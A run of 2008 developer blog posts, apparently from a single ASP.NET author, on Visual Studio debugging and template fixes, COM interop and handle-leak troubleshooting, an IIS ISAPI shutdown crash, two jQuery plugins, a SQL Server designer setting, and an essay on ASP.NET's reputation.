Today @ 3:05 am
- from Maui, Hawaii
Ran into another fun little problem a few days ago. Working on my root Web site which is rather large and contains a huge number of sub-webs. The root site is very light in terms of ASP.NET functionality used - primarily stuff like cookie tracking and logging tasks, serving banners etc and a few utility applications. Most of the heavy lifting on the site and 'real' applications are managed in virtual directories that handle real processing.
So yesterday over the last few days I've been building a small utility form that hooks up to Html Help Builder and allows generating documentation online for demonstration. This page lives in a directory off the root Web site, but it's part of the Root Web application and so runs under the root site. At some point I needed to debug the code and so I start the debugger on this large Root web and...
Well it looks like the debugger is starting up, but in fact it's just starting and then immediately aborting. There's no error message, no output window message, but IIS or the internal Web Server simply fail to attach the debugger and so while the app runs just fine, there's no debugging.
My first thought was that this is caused because it's a root Web and the site is very large. There are over 10,000 files that are part of the root web and singnificantly more when counting the child virtuals that live underneath the root. Surprisingly VS 2008 SP1 deals with this sizably Web pretty well in terms of speed of bringing up the solution - size is apparently not the problem.
Alas, it turns out the problem has nothing to do with size, but rather that I have a <location> tag in my web.config that pretty much wraps the entire web.config to prevent the root web settings from trickling down into child Web sites. Specifically I don't want authentication and handlers/modules be required in child virtuals which otherwise would require every child web to either explicitly remove handlers and modules or add them to the virtual's bin folders which is shitty to say the least.
My workaround for this is to use a <location> tag
<?xml version="1.0"?>
<configuration>
<location inheritInChildApplications="false">
<system.web>
<compilation debug="true">
<assemblies>
<add assembly="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" />
</assemblies>
</compilation>
<pages>
<namespaces>
<add namespace="Westwind.Tools"/>
<add namespace="Westwind.Web.Controls"/>
<add namespace="Westwind.Web.Banners"/>
</namespaces>
</pages>
<trust level="Full"/>
<authentication mode="Windows"/>
<customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm">
<error statusCode="403" redirect="NoAccess.htm"/>
<error statusCode="404" redirect="FileNotFound.htm"/>
</customErrors>
</system.web>
<system.webServer>
<handlers>
<add verb="GET"
name="wwBanner"
path="wwBanner.ashx"
type="Westwind.Web.Banners.BannerHandler, Westwind.Web.Controls" />
</handlers>
<validation validateIntegratedModeConfiguration="false"/>
</system.webServer>
</location>
</configuration>
The inheritInChildApplications="false" is quite useful and prevents any of the settings in the configuration to riple down to child virtuals. This attribute can be applied to many section headers, but if you want a whole slew of tags not to propagate down the <location> tag is a great place to apply this attribute because it effectively encapsulates all data beneath it.
Unfortunately it looks like this configuration is also the cause that Visual Studio fails to start the debug. Removing the <location> block allows me to debug just fine.
Specifically it's the compilation section that must be outside of the <location> block. If I move the <compilation> section outside of the location block I can also start debugging. The following also works:
<?xml version="1.0"?>
<configuration>
<system.web>
<compilation debug="true">
<assemblies>
<add assembly="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" />
</assemblies>
</compilation>
</system.web>
<location inheritInChildApplications="false">
...
Depending on what you have inside the <assemblies> section of the compilation tag this may or may not be acceptable as referenced assemblies here will get loaded when the app starts and so can slow down load times for your child virtual AppDomains.
I suppose it's not terrible problem because this is likely only going to be a problem only in debugging scenarios. It's not a big deal, but it's yet another mysterious cause for when debugging doesn't work, but hopefully this will help out those of you searching for a solution to a similar problem.
Yesterday @ 7:04 pm
- from Maui, Hawaii
So I just lost all of my project templates in Web projects. I've been working on a small utility page on my site that generates help documentation on the fly. I've been working happily along on this site when all of a sudden when I needed to add a config file to control debugging and authentication on this page/app.
could not find a part of the path 'C:\programs\vs2008\ Common 7\IDE\ItemTemplatesCache\Web\CSharp\1033\webConfig.zip\webConfig.vstemplate'.
A quick check in the above path oddly shows that the webConfig.zip file exists in this location and the content of the file is fine as well. Trying to add a Web page or a class in the App_code folder too fails with the same error.
I have no idea why this happened just now, I didn't install anything in VS in the last couple of days so it certainly seems like it 'just broke'.
Searched around a bit and found a note on the ASP.NET forums by Mikhail Arkhipov with a hint to re-register the Visual Studio templates. To do this run:
DevEnv.exe /installvstemplates
and life is good again.
Tuesday @ 6:18 am
- from Maui, Hawaii
I'm calling a COM object from managed code that's returning a binary response, which is returned as a SafeArray of bytes from the COM server. My managed code uses Reflection to retrieve the result from the COM Server like this:
// Results in a binary (SafeArray) response from COM object
// .ToString shows: System.Byte[*] as the type
object zipContent = wwUtils.CallMethodCom(this.HelpBuilder,
"CreateHelpZip", "DOTNETASSEMBLY", "TestProject",
"MSDN",
@"C:\projects2008\Westwind.Tools\bin\Debug\Westwind.Tools.dll", 50);
// *** This fails
byte[] content = (byte[])zipContent;
CallMethodCom simply is a wrapper around Type.Invoke() so it's basic Reflection call. The method call works fine and it appears to return the expected result at least from what I can see in the debugger. But in code
What's interesting is that when I step through this code the code comes back properly. I get an object that according to the debugger contains a valid byte[] array:
But the code that casts the result fails. I get an error that declares: "Unable to cast object of type 'System.Byte[*]' to type 'System.Byte[]".
Haeh? System.Byte[*]? What the heck is that? A 'fixed width' byte array? What's really confusing here is that the debugger shows the object properly as byte[]. I can even cast to byte[] in the Immediate Window and get at the byte[] properties like Length. So it's working but somehow the generated C# runtime code fails to cast the byte array.
[Updated based on Comments from Christof and Kevin]
It turns out there is a way to reference the SafeArray in .NET which is as a non typed, one-based array. You can interact with this array only using GetValue(),SetValue() or by copying it out using CopyTo(), which effectively means the only way to retrieve the data is to copy it into a byte array or else write it out one byte at a time.
The following code stores the SafeArray into an array cast, then copies the array contents into a byte array:
// Results in a binary (SafeArray) response from COM object
object zipContent = wwUtils.CallMethodCom(this.HelpBuilder,
"CreateHelpZip",
this.Mode,
this.ProjectTitle, "MSDN",
dlPath + sourceFile, 50);
// *** Must convert to Array first then copy out - note 1 based
Array ct = (Array)zipContent;
Byte[] content = new byte[ct.Length];
ct.CopyTo(content, 0);
Response.ContentType = "application/x-zip-compressed";
Response.BinaryWrite(content);
Thankfully this works without any additional casts. Another option would be to loop through the array and retrieve each element and BinaryWrite() that out 1 byte at a time, which would help avoid the double memory hit of a copy. In the above code this might actually be useful because the output can be about a megs worth of data.
Ultimately the cleaner solution would be to have the COM server's code output directly to a file which can then be streamed directly by IIS with TransmitFile, but for the moment I don't want to muck with the COM server's interface.
Anyway - thanks to Christof and Kevin who pointed me in the right direction. Ah yes, this WebLog does have it's rewards at times. <s>
Sunday @ 5:46 pm
- from Maui, Hawaii
Last week I started looking into a problem that causes my IIS Worker processes to have errors on shutdown. After some mind numbing debugging I finally seem to have traced the problem down to COM object invokation and a handle leak that results because of it. What I ran into here though is very odd as it appears to be not specific to my code but a general handle leak when instantiating EXE servers.
First off let me say C++ and COM are not my forte especially now after having been away from it for a long time. But I've boiled down the following problem to its bare minimum and I'm completely stumped as to why the code would leak handles because it's such fundamental COM code.
Ok so the scenario is as follows: I have a COM client (in my 'real' app it's the ISAPI extension) that is instantiating EXE COM servers and then shortly after releasing them all happening on a single thread. This scenario occurs for certain long running processes that go off and run outside of the normal thread pool. However, the problem is reproducible without any special thread related issues interfering.
In any case the operation of the servers works perfectly fine - servers load and are properly unloaded when inst->Release() is called. The problem is that there is a Windows Handle leak.
As I was debugging my app I noticed that the code that loads EXE COM instances was effectively leaking a Windows handle when I checked in ProcessExplorer. So I kept simplifying the code more and more until I ended up with nothing more than a call to CoCreateInstance() and a inst->Release() call in COM, which in effect leaked a handle. It leaks a handle when inst->Release() is called and it does this only on EXE servers, not on DLL servers.
I managed to boil the code down in a simple C++ Console application:
#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
// COM Instance Handle Leak Bug
IUnknown *pComObj = NULL;
//IDispatch *pComObj = NULL;
CLSID clsid;
HRESULT hr = CLSIDFromProgID( L"VisualFoxPro.Application",&clsid);
CoInitialize(NULL);
char input[80];
for(int x=1; x< 10; x++)
{
// *** Commenting the next two lines out results in no handle leaks
// *** Running these two lines will leak one handle per request
hr = CoCreateInstance(clsid, NULL, CLSCTX_SERVER, IID_IUnknown, (LPVOID *) &pComObj);
//hr = CoCreateInstance(clsid, NULL, CLSCTX_SERVER, IID_IDispatch, (LPVOID *) &pComObj);
DWORD count = pComObj->Release();
printf("%d: %d\r\n",x,count);
scanf("%c",input);
}
printf("Completed.");
scanf("%c",input);
CoUninitialize();
return 0;
}
When I run this code and check the handle count in process Explorer I see the handle count increase on every single call to pComObj->Release().
It doesn't matter what EXE server I use here. I'm using a custom COM server of mine, or a more generic server above. Tried a tiny little ATL server, tried a few others like SnagIt, Word, Excel - the behavior is exactly the same - they all leak a handle.
Taking a closer look at the handles that are leaked on Release in Process Explorer (View | Lower Pane | Handles then Show unnamed handles) results in a <Unknown handle> created:
So as I said at the outside I'm not a C++ wizard, but this seems like a pretty fundamental problem given how basic this code is. Create an instance and release it - can't get any easier right? I've never noticed this before because I never debugged this all the way, but in testing I'm now seeing that the same behavior occurs on XP, Windows 2003 server and on my dev setup on Vista (as well as on Server 2008). I also tried the more round about DCOM mechanism using CoCreateInstanceEx() but the results there are the same.
I just can't make sense of what's happening here as the code is about as fundamental as it comes - make a call to CoCreateInstance() which ups the ref count, then call Release() to unload the server and all resources associated with it. The actual COM server is behaving properly, but its the damn handles that are being left behind.
What could possibly be wrong with this code? What else could I possibly do to release a handle that I don't even hold in my code? Is there some other way to release resources? It would appear that there's some issue in the DCOM proxy clean up that occurs when the server is released, but I'm not sure what that would be.
Are there any COM wonks that can point at the error in my ways?
I've attached the C++ project and EXE if anybody's adventurous - if you check this out you may have to change the server name to an EXE server installed on your machine (Word.Application or whatever that exists - although Word is problematic because it doesn't actually unload unless visibility is set off or Close() is called).
August 22, 2008 @ 2:37 pm
- from Maui, Hawaii
So I have an odd issue with an ISAPI DLL that one of my products uses. The ISAPI interface provides a gateway interface to application servers and the actual module itself works fine without any problems. The problem is that the module is apparently crashing occasionally when the Application Pool is shutting down, but it's crashing after any of the DLL code has long stopped running.
However, on IIS7 (and in some cases on IIS6 as well), the ISAPI module is causing crashes that are showing up in the event log. The error in the event log ends up like this:
The errors are rare and only occur when the Application Pool is unloaded and even then not every time. It tends to require that the app's been running for a long time before I see the errors. The Application Pool is on auto-recyle every night and that why I end up with these entries in the Event Log, but there are other situations where the Application Pool gets restarted obviously.
The above is not really causing a problem - IIS just keeps on ticking, but a number of customers have seen the event log entries and complained mainly because it's not obvious whether these are operational failures or shut down failures.
The odd thing is that this happens on shut down after all user code is long done executing. I have cleanup code in TerminateExtension() as well as some last minute clean up code in the DLL's PROCESS_DETACH handler all of which runs without any problems when I enable logging and output. I also use COM Interop in this ISAPI extension and a number of COM servers are loaded and managed in a native thread pool. The extension can also run servers in a non-COM mode, in which case the failures go away. So it appears the problem is related to the COM server references possibly not getting cleaned up properly, but since the error is occurring completely outside of my application's domain (ie. after DLL_PROCESS_DETACH in DllMain) I have no way to see what's actually leading up to this crash.
I've attached a debugger and am trying to debug this issue, but the debugger won't hit on the failure either because it appears while the process in the middle of a shutdown.
I'm also pretty baffled by the error message. Notice that it talks about wc.dll_unloaded which appears to be some system generated placeholder file rather than my actual dll:
Faulting application w3wp.exe, version 7.0.6001.18000, time stamp 0x47919413, faulting module wc.dll_unloaded, version 0.0.0.0, time stamp 0x4441d309, exception code 0xc0000005, fault offset 0x0031e6ba, process id 0x7e0, application start time 0x01c9032a50903e70.
I did a bit of searching around for this issue and it looks like my extension isn't the only one that this is happening to - a number of other ISAPI connectors (some versions of PHP for example) also seem to be suffering similar problems.
Wondering if anybody has run into this issue before and maybe dealt with this before. I'm kind of stumped on this one - I don't even have a good idea how to further debug this other than go randomly hunting for COM reference cleanup. There are some tips on how to get a stack trace to try to isolate the component that's failing but by way of the above error message the component is pretty clear <s>. Question is why this weird DLL placeholder is bombing and why it's doing this AFTER the app is practically completely shut down. Even assuming some sort of hung COM reference - those types of errors typically occur prior to DLL_PROCESS_DETACH.
Stumped.
Incidentally I have a .NET module that basically uses a very similar approach to manage the COM Servers and it works without any problems on IIS shutdown. But the .NET code is also a heck of a lot cleaner than the horrendous ISAPI code. Unfortunately the .NET module is not a 100% solution because of the dreaded tie to an IIS virtual/Appdomain <shrug>
August 21, 2008 @ 9:30 am
- from Portland, OR
In my client apps I often have a need to center elements in a browser window. Specifically when I have pop ups come up for the first time or when special status messages that are popped onto the screen during long operations, or modal dialogs pop up it's often necessary to have the content centered in the browser window. All of those operations tend to require some sort of centering of content at least in its default configuration.
I've had a centering routine for a while, but thought I should simplify by using jQuery and adding a few features like the ability to center content inside of other container elements on a page. There are already a couple of center like plugins available, but neither of the two I tried worked properly for centering content both horizontally and vertically in the main window including catching for scroll position.
One of the really nice things about jQuery is the ease with which you can extend jQuery's functionality via plug-ins. So I created a quick plug-in that does the centering job a lot more easily than my old code did and it's more flexible to boot.
Using the plug-in is as easy as:
$(document).ready(function() {
$("#box").centerInClient();
});
which centers the element named box in the client window. To center the element inside of another container element you might use:
$("#box").centerInClient({ container: window, forceAbsolute: true });
Here's the code for my centerInClient plugin:
$.fn.centerInClient = function(options) {
/// <summary>Centers the selected items in the browser window. Takes into account scroll position.
/// Ideally the selected set should only match a single element.
/// </summary>
/// <param name="fn" type="Function">Optional function called when centering is complete. Passed DOM element as parameter</param>
/// <param name="forceAbsolute" type="Boolean">if true forces the element to be removed from the document flow
/// and attached to the body element to ensure proper absolute positioning.
/// Be aware that this may cause ID hierachy for CSS styles to be affected.
/// </param>
/// <returns type="jQuery" />
var opt = { forceAbsolute: false,
container: window, // selector of element to center in
completeHandler: null
};
$.extend(opt, options);
return this.each(function(i) {
var el = $(this);
var jWin = $(opt.container);
var isWin = opt.container == window;
// force to the top of document to ENSURE that
// document absolute positioning is available
if (opt.forceAbsolute) {
if (isWin)
el.remove().appendTo("body");
else
el.remove().appendTo(jWin.get(0));
}
// have to make absolute
el.css("position", "absolute");
// height is off a bit so fudge it
var heightFudge = isWin ? 2.0 : 1.8;
var x = (isWin ? jWin.width() : jWin.outerWidth()) / 2 - el.outerWidth() / 2;
var y = (isWin ? jWin.height() : jWin.outerHeight()) / heightFudge - el.outerHeight() / 2;
el.css("left", x + jWin.scrollLeft());
el.css("top", y + jWin.scrollTop());
// if specified make callback and pass element
if (opt.completeHandler)
opt.completeHandler(this);
});
}
The plug in can center elements either in the active window taking scroll positioning into account or center content inside of another container element.
There are several options available that can be passed using the option map.
container - optional container element to center in - defaults to window
forceAbsolute - forces the element to be centered to absolute positioning at the Body level. Use this if the element is already relatively positioned to another element and so force it to 'document' absolute positioning.
completeHandler - optional handler that is called when centering is complete. Use for trapping positioning notification.
I find this a handy feature to have around especially when working with pseudo windows and popups in client scripting.
August 16, 2008 @ 6:31 pm
- from Hood River, OR
Ah here's a silly new default in SQL Server's Management Tools: When you design a table in a database and then try to make a change to a table structure that requires the table to be recreated, the management tools will not allow you to save the changes. Instead you'll be greeted by this friendly dialog:
Notice that there's no option to save the changes - it's a hard rule that is applied upon saving and you can get past this other than back out of the dialog.
My first thought here is "Crap! Now what?" and off I go searching for an option to turn this off. Eventually I find a solution after a quick search online. As it turns out it's just an annoying configuration default setting that can be easily changed, but if you're like me and you spend a while searching around the Management Tools and finding nothing initially, I ended up eventually backing out of my initial database changes and losing a bit of work in the process. It wasn't until a bit later that I found the setting to change.
Hopefully you'll find this entry before you back out of database changes - you can get out of the above dialog, make the settings change and then still go ahead and save changes to your database.
The fix is: Go to Tools | Options | Designers | Tables and Designers and uncheck the Prevent Saving Changes that require table re-creation option:
and that does the trick.
This is a pretty harsh change IMHO. While I think it's a good idea that the tools now detect table recreation changes and can notify you, I think the better option by far would have been to pop up that initial dialog with a warning message AND provide an option on the buttons to either go forward or abort. Instead this arcane switch is going to cause some pause for most people familiar with the old tool behavior. It's not like this option is easy to find - I looked in the database options before I finally found it in the global tool options.
As it is, reverting back to the 'old' behavior now doesn't let you know that a table recreate is required either, so the behavior now is the same as was with the old tools. Here Microsoft added some useful functionality and then UI fails to expose it intelligently...
August 15, 2008 @ 1:17 am
- from Hood River, OR
Here's a scenario I've run into on a few occasions: I need to be able to monitor certain CSS properties on an HTML element and know when that CSS element changes. For example, I have a some HTML element behavior plugins like a drop shadow that attaches to any HTML element, but I then need to be able to automatically keep the shadow in sync with the window if the element dragged around the window or moved via code.
Unfortunately there's no move event for HTML elements so you can't tell when it's location changes. So I've been looking around for some way to keep track of the element and a specific CSS property, but no luck. I suspect there's nothing native to do this so the only way I could think of is to use a timer and poll rather frequently for the property.
I ended up with a generic jQuery plugin that looks like this:
[updated based on comments using DOMAttrChanged and propertyChange events]
(function($){
$.fn.watch = function(prop, func, interval, id) {
/// <summary>
/// Allows you to monitor changes in a specific
/// CSS property of an element by polling the value.
/// when the value changes a function is called.
/// The function called is called in the context
/// of the selected element (ie. this)
/// </summary>
/// <param name="prop" type="String">CSS Property to watch. If not specified (null) code is called on interval</param>
/// <param name="func" type="Function">
/// Function called when the value has changed.
/// </param>
/// <param name="func" type="Function">
/// optional id that identifies this watch instance. Use if
/// if you have multiple properties you're watching.
/// </param>
/// <returns type="jQuery" />
if (!interval)
interval = 200;
if (!id)
id = "_watcher";
this.each(function() {
var _t = this;
var el = $(this);
var fnc = function() {__watcher.call(_t, id) };
var itId = null;
var z = el.get(0);
if (typeof(z.onpropertychange) == "object")
el.bind("propertychange", fnc);
else if ($.browser.mozilla)
el.bind("DOMAttrModified", fnc);
else
itId = setInterval(fnc, interval);
el.data(id, { id: itId,
prop: prop,
func: func,
val: prop ? el.css(prop) : null
});
});
return this;
}
$.fn.unwatch = function(id) {
this.each(function() {
var w = $(this).data(id);
$(this).removeData();
if (typeof (z.onpropertychange) == "object")
el.unbind("propertychange", fnc);
else if ($.browser.mozilla)
el.unbind("DOMAttrModified", fnc);
else
clearInterval(w.id);
});
return this;
}
function __watcher(id) {
var el = $(this);
var w = el.data(id);
if (w.prop) {
var newVal = el.css(w.prop);
if (w.val != newVal)
w.val = newVal;
else
return;
}
if (w.func) {
var _t = this;
w.func.call(_t)
}
}
})(jQuery);
With this I can now monitor movement by monitoring say the top CSS property of the element. The following code creates a box and uses the draggable (jquery.ui) plugin and a couple of custom plugins that center and create a shadow. Here's how I can set this up with the watcher:
$("#box")
.draggable()
.centerInClient()
.shadow()
.watch("top", function() {
$(this).shadow();
},70,"_shadow");
...
$("#box")
.unwatch("_shadow")
.shadow("remove");
This code basically sets up the window to be draggable and initially centered and then a shadow is added. The .watch() call then assigns a CSS property to monitor (top in this case) and a function to call in response. The component now sets up a setInterval call and keeps on pinging this property every time. When the top value changes the supplied function is called.
While this works and I can now drag my window around with the shadow following suit it's not perfect by a long shot. The shadow move is delayed and so drags behind the window, but using a higher timer value is not appropriate either as the UI starts getting jumpy if the timer's set with too small of an increment.
This sort of monitor can be useful for other things as well where operations are maybe not quite as time critical as a UI operation taking place.
Can anybody see a better a better way of capturing movement of an element on the page?
August 14, 2008 @ 2:54 pm
- from Hood River, OR
As an ASP.NET developer I'm pretty much sold on ASP.NET as a platform. I've used ASP.NET since the beginning of the early .NET betas and while I originally had a tough time getting started with it, I eventually came to really enjoy the framework. But once I understood the platform and the flexibility it offers, it's now really hard to think of any other Web development platform that I'd rather be working on. The flexibility of what can be done with ASP.NET reaches everything from high to low level tasks in a flexible and highly extensible environment.
Sure ASP.NET can be used very inefficiently and can produce some truly horrific code, but what platform doesn't allow for that? To me ASP.NET has the breadth necessary to let me build Web applications that range from very high level using the Web Forms engine, to building ultra low level applications or even service level interfaces at the raw HTTP level. I've built plenty of high level Web Forms applications and I've also built several applications where the point of entry interface was an HttpHandler, with our application logic providing the Web interface layer directly at the protocol level.
The cool thing is that all of that wide range can be done fairly easily and consistently in ASP.NET. True the framework is big and there's complexity if you want to understand it well, but the model is clean and effective. In the process of development I've built quite a few applications for and with customers, a few of ended up with sites that had backend page hit rates in the millions per day. Never have I run into a corner were ASP.NET was not up to the challenge of handling the load that was thrown at it either directly or by standard ways of load balancing that are available to any Web platform. These days it's getting rarer and rarer with today's hardware environment to have to resort to load balancing with single high power machines able to manage massive loads. Which isn't to say that there isn't a need for that as well when you end up building a site for the top 100 trafficked Web sites. Frankly I haven't been so lucky yet, but I'm fairly confident that if it came to that ASP.NET would be more than up to that challenge.
In short my experience with IIS and ASP.NET has been a solid one both in terms of performance and security – especially with IIS 6 and now IIS 7.
So why all the Dissing?
For this reason I'm baffled that the ASP.NET platform is often maligned as inefficient, slow and maybe most importantly insecure (which really is pointed at IIS). If you spend a little time searching around the Web and looking for comparisons of ASP.NET versus some other technology – typically PHP or Phython on Apache on a full LAMP stack – invariably ASP.NET will be played down as a vastly inferior choice. It's slow, it's inefficient, it's difficult and oh yeah, it's not free – or more accurately running on Windows which is not free.
Most of the bad mouthing of course comes from aficionados of alternate technologies and it's not terribly surprising that they think that their solution is better. You know the typical us vs. them argument and that's pretty normal.
But it goes even a bit further. It seems that ASP.NET's adoption rate for highly visible sites is not all that high. Sure there are plenty of big sites including Microsoft's own which tends to be around the busiest site on the Web, but overall when you start looking for high profile sites that run ASP.NET you'll find that not all that much content is running on ASP.NET.
You can do this test yourself – check out the top 20 sites outside of developer sites that you use yourself on a regular basis and see how many of them run ASP.NET. I think you'll find that very few run ASP.NET.
Which isn't to say that there aren't some popular and very busy sites out using ASP.NET. Here are a few you might recognize:
· www.MySpace.com
· www.newegg.com
· www.cdw.com
· www.dell.com
· www.HomeShoppingNetwork.com
· www.Phanfare.com
· www.careerbuilder.com
· www.progressive.com
· www.CostCo.com
Still even looking at the list of sites above you'll notice that most of these are old school business sites and it gets much harder to find examples of ASP.NET in the type of social networking sites that many of us are working or playing with in the course of the day. It seems for smaller and startup sites, ASP.NET is vastly under-represented.
So the question arises why does ASP.NET have such a bad rap and why is it so relatively lightly used? Let me play devil's advocate and speculate on some of the reasons that ASP.NET is maybe getting a bad rap.
Competing with Free
I think competing with free tools is a big issue of why ASP.NET is not used as widely as it otherwise might be. Although ASP.NET is free the underlying platform it runs on is not. Windows is licensed and costs money – even if Windows Server Web Edition is available for a relatively small fee.
Compared to free even a small price looks expensive. Free draws a lot of people. Period. No matter how you look at it, if you have a free platform and one that costs money in the end there is always going to be a significant chunk of folks going to the free platform, regardless of whether free in this case has the better cost benefit or not. Free tools are compelling and it also drives developers who are just starting out into this direction because, let's face it, when you're starting out the last thing you want to do is spend money even if it's a relatively small amount.
In reality 'not-free' is a weak argument given that the Window Server Web Edition is pretty inexpensive at around $300. The Web Editon is fully loaded with everything to get an ASP.NET app up and running although the database needs to be added separately. You can even run open source data backends if you can't or don't want to use SQL Server or the free Sql Server Express Edition. With this kind of low price investment, especially in relation to any sort of software development fees, licensing shouldn't be a factor.
But the problem is one of perception: Micro$oft is by default associated with big dollar signs, and "Microsoft is always after your money". Certainly that's not my experience either for myself or for the customers I've worked with costs very clearly delineated.
But I can certainly attest to the hesitancy of many developers and companies to trust Microsoft, always feeling that in the end Microsoft is out to screw them. It's unrational to the biggest extent but it's a very real issue that plagues Microsoft in general in my opinion.
Barrier of Entry
ASP.NET from the outside is seen as a big and bulky solution. Huge framework, huge runtime requiring large servers, lots of memory etc. This criticism is really leveled against Windows as the platform rather than ASP.NET since the bulk of those requirements are for the operating system.
I find this argument very common, but it's also pretty weak given that high end hardware and memory are becoming so very cheap in recent years. For example, I just upgraded my server to a quad core Xeon box with 8 gig and 3 high speed harddisks for less than $1200.00 with a packaged server from Dell. It's hard to accept any whining about an application taking a few extra megabytes when you can buy 4 gigs of RAM for $70. Yet the argument goes, no matter how much hardware you use, the LAMP stack always requires less so you can make more out of your hardware and there certainly is some truth to that.
Along the same lines if you go looking for hosting space with ISPs it's also no secret that Windows hosting is more expensive and this is mostly due to the higher hardware and resource requirements plus licensing that host providers have to invest in order to host Windows solutions. Again these differences are not very large but they are subtle marks against a Windows solution.
Learning Curve
Maybe an even bigger concern is that ASP.NET or .NET in general has a pretty steep learning curve. Web development is never easy, but ASP.NET involves learning a fair bit of framework functionality before you can really be productive and get stuff done. It's easy to build a hello world page or even a simple data form, but once you start building more complex stuff – especially when it requires data access and an architecture - all of a sudden there are a huge number of options of varying complexity available. Many choices but not a lot of guidance on which of these choices works well in which scenario.
I think it's very easy to forget for those us that are now proficient in .NET how much of a struggle it was to get to that first level of proficiency beyond feeling like a complete dork with .NET. I know it took me a lot more time to get there than I care to admit to feel comfortable working with .NET. It's not that .NET is particularly hard, but it is very large. The framework is huge and while you don't need to know all of it, figuring out which pieces you need and which pieces are the right ones to use at any given time takes time. This process is more involved with .NET because there are many more choices available than in most other Web environments especially scripting languages. It can also be frustrating to get to that first stage of proficiency beyond feeling like a dork and frankly I think this stage is where many would be developers drop off the ASP.NET try outs and opt for another solution.
Compared to other solutions like PHP, Python or maybe even more drastically ASP Classic ASP.NET is a monstrous beast that can be a blessing for those that feel comfortable with the framework and know how to leverage the rich functionality, or a curse for those just starting out to become proficient and become overwhelmed and confused by the myriad of choices.
It's easy to point a finger here and say – "Well, software development is hard and you have make an investment to learn a new tool", but the reality is that there are still a lot of developers out there that are already proficient in one tool or another and if you are comparing tools on a regular basis and find one that on first blush seems more complex than it needs to be, it's not going to win any popularity contests.
I personally feel that investing the time in .NET was definitely worth the effort. When I first looked at ASP.NET I was also overwhelmed and confused by which approach to take, but with time of learning the framework and understanding the architecture I've come to really appreciate the power and flexibility that it offers in Web development or development in general. I've spent a fair bit of time building my own Web frameworks from the ground up, I've looked at various other frameworks more recently and for me it still comes back to the simple fact that ASP.NET is built on a very solid and flexible foundation that can do just about anything on the HTTP stack fairly easily.
But I'll be the first to admit that the learning curve was steep and I think this is where the sticking point lies: You have to make an up front time investment and upon starting out it's not obvious whether this investment pays off especially in the eyes of developers who may already have a skeptical tendency and who can use technologies that are more popular and provide a more straight forward path to Web development.
The problem is that this is difficult to convey the benefits of .NET from a perspective of "you have to be highly proficient first". It's not going to go over well when you say: "After you spent a year studying the deep inner workings of the framework you'll really benefit from ASP.NET". Never mind that this concept applies to just about any tool, but without that instant gratification of productivity it's a tough sell.
ASP.NET is a Different Web Metaphor
ASP.NET – at least using the Web Forms engine - uses a different approach to Web development that is based on abstraction and effectively hiding many of the HTTP semantics from developers. In some ways this can be very efficient and produce very rapid results if you know what you're doing and you flow with this concept, but if you are coming from a raw HTML and CSS background or even as a developer from other tools that are based on raw HTML/CSS principles it's actually difficult to get your head around the abstraction that Web Forms provides.
Web Forms also produces HTML that is not easily styled via CSS so traditional design mechanisms can be more involved. The raw output of the stock (and even more so third party) controls is at fault here often producing inline styled HTML that makes it really difficult or impossible to use standard HTML and CSS concepts effective. It's possible to do once you understand how controls render, but it's not exactly obvious and easily discoverable.
In addition ASP.NET's naming container ID mangling which causes client IDs to be changed can be very counter productive for styling with CSS and for working with elements using JavaScript. It's no fun referencing controls with references like $("#ctl000_StatusCtl_txtNameId") for element selection (with jQuery here) especially since those generated ID values can change. Then there's also ViewState and the massive amount of gunk that can and often does inject into the page, and the havoc it can cause with Ajax applications that update controls on the page.
The bottom line is that if a developer already familiar with HTML and CSS looks at ASP.NET there are going to be a lot of questions of how do I style my output properly, and how do I perform tasks that I already know how to do by hand with ASP.NET's markup and code.
Some of this is unwarranted, because as I mentioned at the outset of this post there's low level support available in ASP.NET at all levels including in Web Forms. But it's not the default model out of the box and as a new developer you're not likely to find examples showing lower level, 'raw' approaches out of the box. If you really wanted to output 'raw HTML' and not rely on formatting of complex controls it's easy to do that by using placeholders, inline script and otherwise simple controls that can easily be styled. For example, you can use a ListView or Repeater control instead of a DataGrid and produce fully CSS compliant table output. But this is not always obvious, not covered in an entry level tutorial and certainly not easy to figure out on their own for somebody starting out with the tool.
It's also important to remember that ASP.NET does NOT equal Web Forms. Most of the criticism leveled against ASP.NET has to do with Web Forms and using Web Forms in it's default Drag and Drop like way. But there are alternative view engines available that either allow you to go lighter in usage of Web Forms functionality or replace the Web forms engine completely. The just released Microsoft ASP.NET MVC Framework (part of .NET 3.5 SP1) for example offers a more low level Model View Controller approach to creating Web applications, with Views that are effectively moving back to a more script like, raw Html interface.
MVC is a development pattern, but one that is widely used on other platforms, and one can also hope that the Microsoft ASP.NET MVC implementation might bring a turning point in getting more people from outside of the .NET fold into ASP.NET as it uses a model that might be more familiar to developers coming from other Web technologies.
The Loss of Cool
I remember the days when ASP.NET first came out and there was a ton of excitement around this new tool. It brought compiled object oriented code for pages that could be mixed with script code, a true object oriented architecture plus a sophisticated platform architecture to bear on Web development. At the time ASP.NET was an innovative product by providing a comprehensive framework that encapsulates the Web platform as well as the Html document using a server side programming model. ASP.NET was the crown jewel of the .NET platform and many developers from all persuasions were eager to try out and eventually work with this new environment. ASP.NET enjoyed a solid wave of popularity for new development for a while.
It seems that this early excitement has faded quite drastically. Nowadays it seems that even within the ASP.NET community some of that fire has died down considerably as developers have settled in and are going about their jobs using tools that have seemingly become old hat.
The end result is that ASP.NET is not a first choice among many Web developers and certainly not among designers or other standards oriented workers. In those circles ASP.NET is a foreign entity and if a project based on ASP.NET needs to be sold into this environment there's invariably going to be some hard nosed discussions about why ASP.NET should be used over other 'open' software.
ASP.NET is not amongst the hip technologies that startups like to use. I'm not sure why that is, but it's clear that the majority of new startups and especially those that are in the 'hip' social networking category are not choosing ASP.NET as their tool of choice. Whether it's perception of ASP.NET as slow or inefficient, or whether it's its image or merely the fact that it comes from Microsoft the evil empire is hard to say, but the effect is undeniable.
Worse the problem of non-adoption starts even lower down. If you look at what kids and hackers are doing these days you're not likely to find very many working with ASP.NET (or .NET in general for that matter). While this may not seem significant, it is something that should be worrying because the next generation of developers growing up is growing up distinctly distant from Microsoft's tools. Many of this generation of kids who've grown up on computers and know of no world without them are generally very anti-Microsoft biased. This in turn means there's not a lot of influx of 'young blood' into the community which can provide a kick start, new innovation and the sheer energy that seems to have drained from the platform.
